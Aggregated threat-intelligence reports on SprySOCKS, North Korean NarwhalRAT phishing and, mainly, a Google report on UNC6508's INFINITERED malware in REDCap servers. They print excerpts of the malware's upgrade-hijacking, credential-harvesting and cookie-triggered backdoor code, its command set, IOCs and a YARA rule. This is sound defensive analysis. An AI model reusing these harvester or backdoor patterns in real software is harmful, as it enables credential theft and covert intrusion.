The WIN_PLUS execution scheme, in contrast, adopts a different approach. It leverages the Windows Print Spooler service ("spoolsv.exe") as a starting point to execute a first-stage loader that runs as a print processor. It's designed to inject and run a SprySOCKS loader into a newly created "svchost.exe" process to launch the backdoor.

Both WIN_DRV and WIN_PLUS variants of SprySOCKS are DLLs that support three channels for C2 communications over TCP, UDP, and WebSocket and run commands issued by the operator on the compromised host. This includes collecting system information, launching an interactive console, enumerating processes, getting C2 communication details, listing all services, initialising a SOCKS proxySOCKS proxy, uploading/downloading files, and running existing files.

Evidence indicates that the artifacts may have been deployed between 2023 and 2024 in attacks targeting government organizations in Honduras, Taiwan, Thailand, and Pakistan. The WIN_PLUS version was first detected in July 2024 on a victim device geolocated to Pakistan.

What's more, there are "limited indications" suggesting the involvement of a UEFI bootkit, likely exploiting CVE-2023-24932 (CVSS score: 6.7), a security feature bypass vulnerability in the Windows Boot Manager that’s famously associated with the BlackLotus UEFI bootkit. The security flaw was addressed by Microsoft in May 2023.

"The discovery of a Windows variant of SprySOCKS, previously known as Linux-only backdoor, represents a meaningful expansion of FishMonger's cross-platform capabilities," ESET said.

"The Windows port retains most of the core architecture of its Linux predecessor – including the C&C protocol, encryption used, and overall command handling logic – while substituting Windows-native mechanisms where required and improving the stealthiness of the backdoor by bringing the kernel drivers to the game."

from The Hacker News https://ift.tt/57Tz9Uw
via IFTTT

Fake Microsoft Alerts Used to Deploy North Korean NarwhalRAT Malware

The North Korean state-sponsored hacking group known as ScarCruft (aka APT37) has been observed using spear-phishing messages impersonating Microsoft Account security notifications to deliver malware called NarwhalRAT.

"The attack email contained a message impersonating an MS account security alert," the Genians Security Center (GSC) said. "It was designed to create concern over possible account compromise and OTP abuse, thereby inducing the recipient to execute the attachment."

"The email body instructed the recipient to refer to the attached advisory. However, the actual attachment was not an HWP [Hangul Word Processor] document, but a ZIP archive that contained a malicious LNK file."

The email message claims "abnormal activity" related to repeated generation of one-time passwords, passing it off as a phishing attempt aimed at the target's Microsoft Account by a third-party, and urging them to change their password. The end goal of the phishing message is to induce a false sense of urgency and deceive the victim into interpreting the email as a legitimate security alert.

The LNK file, once launched, initiates a multi-stage infection chain that employs intermediary batch scripts to download and install NarwhalRAT, along with retrieving the legitimate Python executable from the official website and a Windows security catalog (CAT) file. Persistence is achieved via a scheduled task, which is configured to launch the CAT file responsible for fetching and running the main payload in memory without leaving any artifacts on disk.

The Python-based malware is equipped to log keystrokes, capture screenshots (with support for high-resolution images), record ambient audio, upload directory contents, collect active window details, gather data from USB media, execute instructions issued by a command-and-control (C2) server, and switch C2 servers.

The moniker NarwhalRAT is a reference to the malware's use of "%APPDATA%\naverwhale" to stage the harvested information on the compromised host. The hidden directory's name is an attempt to evade detection by masquerading as Naver Whale, a web browser developed by South Korean tech company Naver Corporation.

APT37's deployment of NarwhalRAT is noteworthy as it marks a departure from RokRAT, a malware family exclusively attributed to the hacking group.

"From a C2 infrastructure perspective, the malware uses Korean websites, including 'daehoat[.]com' and 'novel21[.]co.kr,' as primary communication relays, while also implementing communication functionality based on the pCloud cloud storage API," the South Korean cybersecurity company said.

"In particular, pCloud-specific routines that process the 'folderid' and 'auth' parameters were identified within the code. This indicates that the malware was designed to use a legitimate cloud service as a secondary C2 channel in the form of a dead drop resolver."

Genians said the activity shares "multiple similarities" with prior Python-based attacks orchestrated by ScarCruft, including a spear-phishing campaign that has used ticket confirmation and event invites lures to trick potential targets into opening ZIP archives containing LNK files.

The attack chain plays out in a similar fashion in that the LNK file acts as a conduit for an obfuscated batch script downloaded from a remote C2 server, which then downloads the Python binary and a CAT file, ultimately resulting in the deployment of a compiled Python script capable of remote command execution and sending the results back to the C2 server.

Interestingly, the scheduled task names used to set up persistence follow a similar naming convention. While the NarwhalRAT infection creates a scheduled task called "MicrosoftUserInterfacePicturesUpdateTackMachine," the second chain uses the name "MicrosoftMusicLibrariesPackageTaskMachine."

"Overall, NarwhalRAT is assessed to be an advanced RAT malware that integrates a Python-based multi-stage loader, an in-memory execution structure, a multi-C2 operational framework, and selective information collection functions," Genians said.

from The Hacker News https://ift.tt/J5ViWGT
via IFTTT

Public and Private Medical Community Targeted by China-Nexus Threat Actor Pursuing Artificial Intelligence, Cyber, Medical, and National Defense Research

Google Threat Intelligence Group (GTIG) has identified a sophisticated campaign attributed to UNC6508, a People's Republic of China (PRC)-nexus threat actor, targeting institutions in the North American academic, medical, and military research community. While remaining undetected for over a year, the threat actor compromised externally facing web applications, deployed bespoke malware, pivoted to sensitive internal systems, and abused enterprise administrative tools for covert data exfiltration. The threat actor had broad collection aspirations, including sensitive defense intelligence related to national security, Indo-Pacific command operations, artificial intelligence, uncrewed vehicle systems, cyber offensive programs, and medical research. 

GTIG disrupted the malicious infrastructure associated with this threat actor. Working with Mandiant Consulting, we notified the affected organizations upon detection and offered our assistance with remediation. We have updated Google Security Operations (SecOps) with relevant intelligence, enabling defenders to identify indicators of compromise (IOCs) within their networks. We encourage all users and customers to follow recommended best practices for third-party Identity Providers (IdP) and ensure 2-Step Verification (2SV) is enabled across all accounts.

Campaign Overview

The campaign targeted a diverse set of national, state, and private medical entities. These organizations comprise world-renowned clinical providers, premier academic centers, North American military health institutions, professional advocacy groups, and health regulatory bodies. Their research areas span a broad spectrum of modern medicine, from molecular discovery and clinical drug trials to state-level public health policy and military readiness. They employ thousands of people with a combined research budget in the billions of dollars.

The earliest known compromise occurred in September 2023, after which GTIG observed a consistent operational pattern. The threat actor exploited externally facing REDCap (Research Electronic Data Capture) servers and deployed custom malware named INFINITERED to capture legitimate REDCap login credentials. Then, after remaining undetected for more than a year, UNC6508 used the captured credentials to access the victim’s internal network. The threat actor was also observed using the novel technique of manipulating domain content compliance rules for data exfiltration. Lastly, UNC6508 used sophisticated operations security (OpSec) techniques to conceal and obfuscate their activity. 

GTIG collaborated closely with Mandiant Consulting, the FLARE team, and Workspace Security on this effort to combine our threat intelligence, incident response, and reverse engineering expertise across Google Cloud. This enabled us to develop a complete picture of the attack lifecycle from initial compromise to complete mission. GTIG also extends thanks to the affected organizations for their cooperation and the valuable post-exploitation insights they shared.

Prevention, Detection, and Remediation

GTIG recommends defenders implement the following security measures, across all Cloud enterprise platforms, to mitigate this threat:

• Secure Admin Accounts: Enforce phishing-resistant 2-Step Verification (2SV) for enterprise administrator accounts, including through third-party Identity Providers.

• Advanced Protection: Consider enrolling highly sensitive accounts in our Advanced Protection Program for additional safeguards against malware and phishing attacks.

• Prevent Cookie Theft: Enforce Device Bound Session Credentials (DBSC) with CAA for highly sensitive accounts on Windows devices to prevent session hijacking.

• Monitor Audit Logs: Enable Audit logs to analyze, monitor, and alert on changes to your data.

• Control Data: Define Data Loss Prevention (DLP) rules to block or alert on external sharing of sensitive data.

• Audit Compliance Rules: Review Admin audit logs and content compliance rules for unauthorized modifications.

• SIEM Coverage: Consider using Google Security Operations (SecOps) and ensure Workspace logs are included in your Security Information and Event Management (SIEM) pipeline.

• Password Protection: Use Chrome Enterprise Password Leak Detection to alert when potentially compromised password use is detected.

• Patch REDCap: Fully updated REDCap installations to the latest software version and ensure older versions are completely removed.

• Monitor for INFINITERED: Scan REDCap servers for the presence of INFINITERED using the provided YARA rule and IOCs.

Medical Research University Compromise

In September 2023, a REDCap server belonging to a North American medical research institution was compromised. Continuing activity was observed through November 2025. During this time period, UNC6508 carried out the following attack chain.

1. Exploit the REDCap server.

2. After three months, deploy the INFINITERED malware.

3. INFINITERED stealthily records credentials, and persists through upgrades, for more than a year.

4. Pivot to a domain admin account.

5. Add the malicious content compliance rule.

6. Silently “BCC-forward” matched emails to a threat actor-controlled account.

Figure 1: Campaign attack flow diagram

Initial Access: REDCap Exploitation and INFINITERED

UNC6508 consistently targets REDCap servers. REDCap is a web-based software platform designed specifically for building and managing online databases and surveys, in compliance with regulations for medical and scientific research. It is a commonly used platform in the North American medical research community.

GTIG was not able to confirm how UNC6508 initially gained access to the REDCap server. By design, REDCap allows administrators to continue running legacy software side-by-side with the current version. UNC6508 was observed probing for these vulnerable legacy versions on several target organizations’ REDCap systems. This highlights not only the increasing importance of rapidly applying security patches, but also promptly removing older software versions to prevent downgrade attacks.

Upon establishing a foothold on the REDCap server, UNC6508 performed internal reconnaissance and credential discovery to obtain database and service account credentials. The threat actor also deployed a web shell named "help.php", which maintained persistence and functioned as an uploader in the REDCap application.

INFINITERED Analysis

Three months after the initial compromise, UNC6508 deployed a custom malware payload tracked as INFINITERED. This malware implements its functionality across three distinct modular components by trojanizing legitimate REDCap system files.

• Dropper and Upgrade Interception 

• Credential Harvester

• Backdoor, with command and control (C2)

GTIG discovered multiple organizations across the US and Canada compromised with INFINITERED. All of these organizations were promptly notified of the compromise upon detection and offered our assistance with remediation.

Figure 2: INFINITERED diagram

Dropper and Upgrade Interception

To maintain persistent remote access, INFINITERED injects its code into new REDCap versions by intercepting the upgrade process. This capability is embedded into the legitimate REDCap upgrade system file. INFINITERED performs this code injection following these steps.

1. Read the current software version, which includes the INFINITERED code. 

2. Extract the malicious logic using GUID delimiter b49e334d-9c01-463e-9bc5-00a6920fb66e. 

3. Inject backdoor code into the custom hooks configuration file. 

4. Inject credential harvester code into the authentication system file.

5. Inject the extracted code from step 2 into the upgrade system file.

In Elastic Beanstalk environments, INFINTERED performs additional steps to ensure persistence in cloud deployments.

// b49e334d-9c01-463e-9bc5-00a6920fb66e
...
$file_upgrade = $base_path."Upgrade.php"; 
$file_content_upgrade = $zip->getFromName($file_upgrade); // new upgrade file content
$file_content_upgrade_local = file_get_contents(__FILE__); // Contents of the current file 
...
if ($file_content_upgrade !== false) {
    // Base64 GUID delimiter
    $dummy_marker = base64_decode('YjQ5ZTMzNGQtOWMwMS00NjNlLTliYzUtMDBhNjkyMGZiNjZl');
    $pattern = "/$dummy_marker(.*?)$dummy_marker/s";
    if (preg_match($pattern, $file_content_upgrade_local, $matches)) {
        $extracted_text = $matches[0];
        $search_content = "// If running on AWS Elastic Beanstalk"; 
        $upgrade_decode = "// ".$extracted_text."\r\n\t\t".$search_content;
        $new_content = str_replace($search_content, $upgrade_decode, $file_content_upgrade);
        $zip->deleteName($file_upgrade);
        $zip->addFromString($file_upgrade, $new_content);
    }
}
$zip->close();
...
// b49e334d-9c01-463e-9bc5-00a6920fb66e

Code Snippet 1: Intercept upgrades and inject INFINITERED code

Credential Harvester

INFINITERED injects a credential harvester into the authentication system file to compromise user accounts. This component of the malware captures usernames and passwords submitted via POST requests during the login process. The credentials are encrypted using the environment’s default encryption routine and hidden inside a local REDCap sessions database table with the string “xc32038474a” prefixed to the Session ID.

$currentUTC = gmdate('Y-m-d H:i:s');
$str = encrypt($currentUTC . '[::]' . $_POST['username'] . '[::]' . $_POST['password']);
include dirname(__FILE__, 3) . DIRECTORY_SEPARATOR . 'redcap_connect.php';
$expiration_timestamp = strtotime("+60 days", strtotime($currentUTC));
$session_id = 'xc32038474a'.substr(bin2hex($currentUTC), -20);
$session_sql = "INSERT INTO [REDACTED] ([REDACTED],[REDACTED],[REDACTED]) VALUES ('$session_id', '$str', FROM_UNIXTIME($expiration_timestamp))";
@$rc_connection->query($session_sql);

Code Snippet 2: Hide credentials in a legitimate database table

Backdoor

INFINITERED also has backdoor functionality it establishes in the custom hooks system file inside the update package, specifically within a function that executes on every REDCap page load. This global hook ensures the backdoor runs on every page load. INFINITERED looks for a specific HTTP Cookie parameter named "REDCAP-TOKEN" and a cookie value starting with a specific plaintext string. If these conditions are present, the malware strips the prefix and decrypts the remaining payload with the environment's default decryption routine.

$cookieValue = $_COOKIE['REDCAP-TOKEN'];
if ($cookieValue) {
    $magic_flag = '[REDACTED]'; // Cookie prefix
    ...
    // Decrypt message if cookie prefix is found
    $key = '[REDACTED]';
    $req_data = substr($cookieValue, strlen($magic_flag));
    $req_data = decrypt($req_data, $key);

Code Snippet 3: Decrypting commands to INFINITERED

If the decrypted payload is empty, the malware acts as a beacon, returning system details such as the OS, PHP version, working directory, and database credentials including the hostname, username, password, and salt. When non-empty, the malware will parse the payload for command tags, which the threat actor can use to execute shell commands, run raw SQL queries, and transfer files.

Supported Commands

INFINITERED is capable of executing the following commands.

Command Tag	Description
00	Executes arbitrary system commands using shell_exec.
02	Uploads a file to the server. The payload contains the destination path and file content.
03	Retrieves stolen credentials stored in the legitimate database table.
04	Deletes the stolen credential records from the legitimate database table.
05	Executes arbitrary SQL queries against the database and returns the results.
ej671a16i7fd8202nu6ltfg5p6x7u	Downloads an arbitrary file from the server. The payload following this tag specifies the full filesystem path of the target file.
Empty Payload	Beacons system information, database credentials, and configuration details.

Table 1: Supported commands for INFINITERED

Domain Content Compliance Rule Abuse

More than a year after the initial compromise, UNC6508 used overlapping credentials, harvested from REDCap, to access an administrator account. This underscores the challenge and importance of securing systems holistically. Defenders should enable 2-Step Verification (2SV) and ensure unique credentials are used across different security domains to mitigate credential replay attacks.

UNC6508 then leveraged content compliance rules, a legitimate feature present in many cloud-based enterprise productivity suites, to exfiltrate specific email communications. Administrators can create these rules to manage email messages that contain content matching predefined sets of words, phrases, text patterns, or numerical patterns. By default, compliance rules apply to all users in an organizational unit. The use of compliance rules for data exfiltration is a novel technique not previously observed with PRC-nexus threat actors.

Specifically, UNC6508 created a compliance rule named "Patroit" [sic] that used regular expressions to match on keyword and email address patterns in sent or received emails. Matches were silently BCC-forwarded to a threat actor-controlled Gmail address, BebitaBarefoot774[@]gmail[.]com, providing a covert and continuous stream of exfiltrated data. Upon discovery, GTIG disabled the Gmail account to prevent further data exfiltration.

Figure 3: Targeted intelligence collection categories

The patterns used in the “Patroit” compliance rule suggest strategic intelligence collection targeting geo-strategic policy, military strategy, advanced technology, and medical research. The patterns also include professional email addresses and phone numbers for members of organizations in these spaces. Several of the terms applied have spelling errors, suggesting the list was manually maintained. 

This ambitious scope of intelligence collection from UNC6508 may suggest a broader range of targets beyond the identified victims in the medical research community. GTIG assesses these collection priorities are aligned with the strategic interests of the People's Republic of China. 

While most of the terms relate to defense and technology, the terms including medical research facilities, and the specific pathogen “Chikungunya,” stand out from the others. Chikungunya is a viral disease transmitted to humans from mosquitos and was responsible for an outbreak in China's Guangdong province beginning in July 2025.

Operations Security (OpSec)

GTIG observed UNC6508 use sophisticated and meticulous OpSec techniques to conceal their activities from defenders.

Figure 4: UNC6508 operations security techniques

UNC6508 relied heavily on Obfuscation (OBF) networks. This strategy, now frequently employed by PRC-nexus actors, involves routing traffic from offensive operations through a mix of compromised routers, residential proxies, Virtual Private Servers (VPS), and other devices.  

This operation used exclusively US-based OBF network IP addresses to access both the "BebitaBarefoot774[@]gmail[.]com" account and when replaying legitimate credentials to access the compromised enterprise administrator account. Additional OpSec techniques were also used, such as obtaining the threat actor-controlled Gmail account through a mass creation service and dedicating it exclusively to email data exfiltration.

By maintaining a high level of OpSec, UNC6508 significantly complicates the efforts of defenders to identify malicious patterns, establish accurate attribution, and map the threat actor’s infrastructure.

Attribution

GTIG attributes this activity to UNC6508 with high confidence. This assessment is based on infrastructure overlaps between campaigns, the consistent use of the INFINITERED backdoor on REDCap servers, and the specific targeting of medical research and defense sectors. We assess UNC6508 is an espionage motivated threat cluster, with priorities that align with historic PRC state-sponsored espionage trends and intelligence collection requirements.

Indicators of Compromise (IOCs)

To assist the wider community, we have also included a list of indicators in a GTI Collection for registered users.

Network Indicators

Indicator	Type	Context
BebitaBarefoot774@gmail.com	Email	Email exfiltration account
23.169.65.49	IP	Source of admin login (Compromised ASUS router)

File Indicators

Description	SHA256
Persistence (help.php)	ba6b73b0ca0dc7f86b3b397893ac32d729fd53f9df20643288f141f29d020af7
Credential Harvester	db65c1b9f9e4cb4d729f45ad4b6fcf3e277caf9eb4c875425dec93fd883f9136
Credential Harvester	c1ac43d23f89d41eb4ff131678ab562ab2cfed9aa334b13767ef141d303b0e5b
Backdoor	8f0158855a656b629ca76ebca565f18bc25563ded34b65d6771632c20edb68ec
Backdoor	51a57bfc9ed3eb6451c1c289607814d59e1698c666fb97ac5f694c398f23d045
Dropper	4efbef69eb3b09bacff892d6a55778d07c418e7f15eba3cf1245e8cdfd8dda0b
Dropper	58bb25777e0aa86bcd2125101e0bca4e8732b03d91bd8d2f205b446a2a8d5c86

Host Indicators

Indicator	Description
b49e334d-9c01-463e-9bc5-00a6920fb66e	INFINITERED current software version GUID delimiter
xc32038474a	INFINITERED Redcap database session ID prefix

MITRE ATT&CK Mapping

Tactic	Technique ID	Technique Name	Context/Activity
Initial Access	T1190	Exploit Public-Facing Application	Exploitation of REDCap survey management servers.
Persistence	T1505.003	Server Software Component: Web Shell	Deployment of INFINITERED and uploaders.
	T1554	Compromise Client Software Binary	Modification of REDCap to intercept updates.
Defense Evasion	T1027	Obfuscated Files or Information	Use of Base64 encoding for malicious payloads within PHP files.
	T1090.003	Proxy: Multi-hop Proxy	Routing traffic through compromised IoT devices (OBF networks).
	T1562.001	Impair Defenses: Disable or Modify Tools	Creating "silent" BCC rules to avoid user detection.
	T1689	Downgrade Attack	Exploiting vulnerable legacy versions of REDCap.
Credential Access	T1555	Credentials from Password Stores	Accessing local configuration files.
	T1056.003	Input Capture: Web Portal Capture	INFINITERED harvesting plaintext credentials from POST login requests.
Collection	T1114.003	Email Collection: Email Forwarding Rule	Use of content compliance rules ("Patroit") for automated exfiltration.
	T1213	Data from Information Repositories	Searching storage and email for strategic keywords.
Command and Control	T1071.001	Application Layer Protocol: Web Protocols	C2 communication via HTTP Cookie parameters (REDCAP-TOKEN).
Exfiltration	T1567	Exfiltration Over Web Service	Silently forwarding sensitive data to actor-controlled Gmail addresses.
	T1071.001	Application Layer Protocol: Web Protocols	HTTP response to C2 commands

Detections

YARA Rules

rule G_Backdoor_INFINITERED_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$magic_flag = "ej671a16i7fd8202nu6ltfg5p6x7u"
		$magic_flag_base64 = "ej671a16i7fd8202nu6ltfg5p6x7u" base64
		$marker = "b49e334d-9c01-463e-9bc5-00a6920fb66e"
		$marker_base64 = "YjQ5ZTMzNGQtOWMwMS00NjNlLTliYzUtMDBhNjkyMGZiNjZl"
		$s1 = "substr($cookieValue, strlen($magic_flag));"
		$s2 = "getcwd(), php_uname(), phpversion(), $_SERVER['SERVER_SOFTWARE']"
		$s3 = "'data' => encrypt($data, $key)"
		$s4 = "$data = shell_exec($command);"
		$s5 = "move_uploaded_file($tmpPath, $fileName)"
		$s6 = "$data = implode('|', $fields)"
		$b_s1 = "substr($cookieValue, strlen($magic_flag));" base64
		$b_s2 = "getcwd(), php_uname(), phpversion(), $_SERVER['SERVER_SOFTWARE']" base64
		$b_s3 = "'data' => encrypt($data, $key)" base64
		$b_s4 = "$data = shell_exec($command);" base64
		$b_s5 = "move_uploaded_file($tmpPath, $fileName)" base64
		$b_s6 = "$data = implode('|', $fields)" base64
		$t1 = "(isset($_POST['username']) && $_POST['password'])"
		$t2 = "INSERT INTO redcap_sessions (session_id, session_data, session_expiration) VALUES ('$session_id', '$str', FROM_UNIXTIME($expiration_timestamp))"
		$t3 = "encrypt($currentUTC . '[::]' . $_POST['username'] . '[::]' . $_POST['password']);"
		$t4 = "redcap_connect.php"
		$b_t1 = "(isset($_POST['username']) && $_POST['password'])" base64
		$b_t2 = "INSERT INTO redcap_sessions (session_id, session_data, session_expiration) VALUES ('$session_id', '$str', FROM_UNIXTIME($expiration_timestamp))" base64
		$b_t3 = "encrypt($currentUTC . '[::]' . $_POST['username'] . '[::]' . $_POST['password']);" base64
		$b_t4 = "redcap_connect.php" base64
		$u1 = "$zip->open($filename) === TRUE)"
		$u2 = "$hooks_encode ="
		$u3 = "$auth_encode ="
		$u4 = "$file_content_hooks = $zip->getFromName($file_hooks);"
		$u5 = "$file_content_auth = $zip->getFromName($file_auth);"
		$u6 = "$file_content_upgrade = $zip->getFromName($file_upgrade);"
		$u7 = "str_replace($search_content, $hooks_decode, $file_content_hooks);"
		$u8 = "str_replace($search_content, $upgrade_decode, $file_content_upgrade);"
		$u9 = "str_replace($search_content, $auth_decode, $file_content_auth);"
		$b_u1 = "$zip->open($filename) === TRUE)" base64
		$b_u2 = "$hooks_encode =" base64
		$b_u3 = "$auth_encode =" base64
		$b_u4 = "$file_content_hooks = $zip->getFromName($file_hooks);" base64
		$b_u5 = "$file_content_auth = $zip->getFromName($file_auth);" base64
		$b_u6 = "$file_content_upgrade = $zip->getFromName($file_upgrade);" base64
		$b_u7 = "str_replace($search_content, $hooks_decode, $file_content_hooks);" base64
		$b_u8 = "str_replace($search_content, $upgrade_decode, $file_content_upgrade);" base64
		$b_u9 = "str_replace($search_content, $auth_decode, $file_content_auth);" base64
		$filemarker = "<?php"
	condition:
		filesize < 1MB and $filemarker in (0 .. 128) and (((any of ($magic*) or any of ($marker*)) and (any of ($s*) or any of ($t*) or any of ($u*))) or 4 of ($s*) or 4 of ($b_s*) or all of ($t*) or all of ($b_t*) or 6 of ($u*) or 6 of ($b_u*))
}

from Threat Intelligence https://ift.tt/OxGcVo6
via IFTTT